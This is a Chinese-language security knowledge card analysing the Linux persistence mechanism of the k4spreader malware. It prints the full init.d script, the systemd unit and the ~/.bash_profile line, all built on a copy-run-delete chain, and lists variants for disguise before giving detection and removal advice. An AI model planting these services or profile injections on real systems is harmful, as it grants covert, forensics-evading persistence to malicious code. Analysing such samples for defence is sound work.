♧ Godown 安全知识树

k4spreader 持久化分支:root 建 init.d+systemd 双服务,非 root 注入 .bash_profile 自复制执行

pentest/persistence · verified

一句话结论

k4spreader 的 SelfReplicate 先 getuid() 判断权限:root 时写 /etc/init.d/knlib 与 /etc/systemd/system/knlibe.service 两个服务、把自身复制到 /bin/knlib,服务启动时把 /bin/knlib 复制为 /bin/klibsystem4、执行后删除;非 root 时向 ~/.bash_profile 追加一条“复制/执行/删除 /bin/klibsystem4”的命令,借用户登录触发,实现按权限自适应的双路径持久化。

原理

  • 权限分支:样本用 syscall getuid 取有效 UID;返回 0 走 root 分支(SetupAndStartKnlibService + CreateSystemService),非 0 走 AddLineToBashProfile。
  • root 分支 - init.d:向 /etc/init.d/knlib 写入 SysV init 脚本,头部含 Provides: knlib、Default-Start: 2 3 4 5,主体执行 cp -f -r -- /bin/knlib /bin/klibsystem4、/bin/klibsystem4、rm -rf -- klibsystem4;随后 chmod 493(0755)并 sh /etc/init.d/knlib start。
  • root 分支 - systemd:向 /etc/systemd/system/knlibe.service 写 [Unit] Description=knlib、[Service] Type=forking ExecStart=/bin/bash -c 'cp -f -r -- /bin/knlib /bin/klibsystem4 ... && /bin/klibsystem4 ... && rm -rf -- /bin/klibsystem4 ...' Restart=always KillMode=process、[Install] WantedBy=multi-user.target,执行 systemctl daemon-reload、systemctl enable knlibe.service。
  • 复制本体:将当前样本复制到 /bin/knlib 并 chmod 0755,供两个服务的 ExecStart 反复“复制→执行→删除”,使 /bin/klibsystem4 只在运行瞬间存在,降低磁盘取证命中率。
  • 非 root 分支:打开 $HOME/.bash_profile,若不存在则创建,追加一行: cp -f -r -- /bin/klibsystem4 2>/dev/null && /bin/klibsystem4 >/dev/null 2>&1 && rm -rf -- /bin/klibsystem4 2>/dev/null 用户下次登录 shell 时执行;同样采用复制/执行/删除,且输出重定向到 /dev/null。
  • 为什么有效:root 权限下服务随系统启动、由 init/systemd 拉起,稳定性最高;非 root 下没有写服务目录的权限,选择用户级登录脚本,成本低且不需要守护进程。两条路径都避免让持久化二进制长期留在磁盘上。

触发条件

  • 样本以 root 运行时,需要可写 /etc/init.d、/etc/systemd/system、/bin,且系统使用 SysV init 或 systemd;
  • 样本以普通用户运行时,需要该用户可写 $HOME/.bash_profile,且用户下次登录/打开登录 shell;
  • 目标未对上述目录与启动文件做完整性监控,或监控被样本绕过。

利用步骤

  1. 运行样本,确认 getuid() 结果;root 分支会生成 /etc/init.d/knlib 与 /etc/systemd/system/knlibe.service。
  2. 检查两个服务文件内容,确认 ExecStart 的复制/执行/删除链;systemctl enable knlibe.service 后重启或 systemctl start 触发。
  3. 确认 /bin/knlib 已存在且可执行;服务启动后 /bin/klibsystem4 被创建、执行并删除。
  4. 非 root 分支检查 ~/.bash_profile 末尾追加的命令;重新登录后观察 /bin/klibsystem4 的短暂出现与删除。
  5. 清理:停止并禁用服务、删除两个服务文件、systemctl daemon-reload,删除 /bin/knlib,从 .bash_profile 移除注入行。

PoC

root 分支生成的关键文件内容(按原文截图整理):

# /etc/init.d/knlib
#!/bin/bash
### BEGIN INIT INFO
# Provides:          knlib
# Default-Start:     2 3 4 5
# Short-Description: klibsystem
### END INIT INFO
cp -f -r -- /bin/knlib /bin/klibsystem4 2>/dev/null
cd /bin 2>/dev/null
nohup ./klibsystem4 >/dev/null 2>&1 &
rm -rf -- klibsystem4 2>/dev/null
# /etc/systemd/system/knlibe.service
[Unit]
Description=knlib
Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/knlib /bin/klibsystem4 2>/dev/null && /bin/klibsystem4 >/dev/null 2>&1 && rm -rf -- /bin/klibsystem4 2>/dev/null'
Restart=always
KillMode=process

[Install]
WantedBy=multi-user.target
Default-Start=2 3 4 5

非 root 分支追加到 ~/.bash_profile:

cp -f -r -- /bin/klibsystem4 2>/dev/null && /bin/klibsystem4 >/dev/null 2>&1 && rm -rf -- /bin/klibsystem4 2>/dev/null

变体与关联

  • 关联:pentest-persistence-linux-systemd-service-restart(systemd 单服务 Restart=always 反弹 shell)、pentest-persistence-linux-bashrc-startup-reverse-shell(.bashrc 用户级启动注入)、pentest-persistence-linux-cron-reverse-shell(cron 定时任务)。本卡是“按 getuid 选择 root 双服务或非 root 登录脚本 + 复制执行删除”的组合形态。
  • 变体:只注册 systemd 或只注册 init.d;把 /bin/knlib 换成隐藏目录;把 .bash_profile 换成 .profile/.bashrc;服务名可伪装成内核/系统组件。
  • 边界:需要对应目录写权限;系统若只使用 systemd,init.d 脚本可能不会自动执行;.bash_profile 只对登录 shell 生效,非交互式 SSH 命令不会触发。

检测与防御

  • 文件完整性:监控 /etc/init.d/、/etc/systemd/system/、/bin/ 的新增文件与 ~/.bash_profile 的追加写;对 knlib/klibsystem4 类命名做 IOC。
  • 服务审计:systemctl list-unit-files 查找可疑的 Type=forking、Restart=always、ExecStart 含 cp ... && ... && rm 的单元;检查 init.d 脚本的 Provides/Default-Start。
  • 行为检测:同一路径反复“复制→执行→删除”、短命 /bin/klibsystem4 进程、父进程为 init/systemd 的异常二进制。
  • 处置:停用/删除服务与脚本,恢复 .bash_profile,删除 /bin/knlib,全盘搜索同名文件与样本哈希;检查是否还有 cron/其他持久化。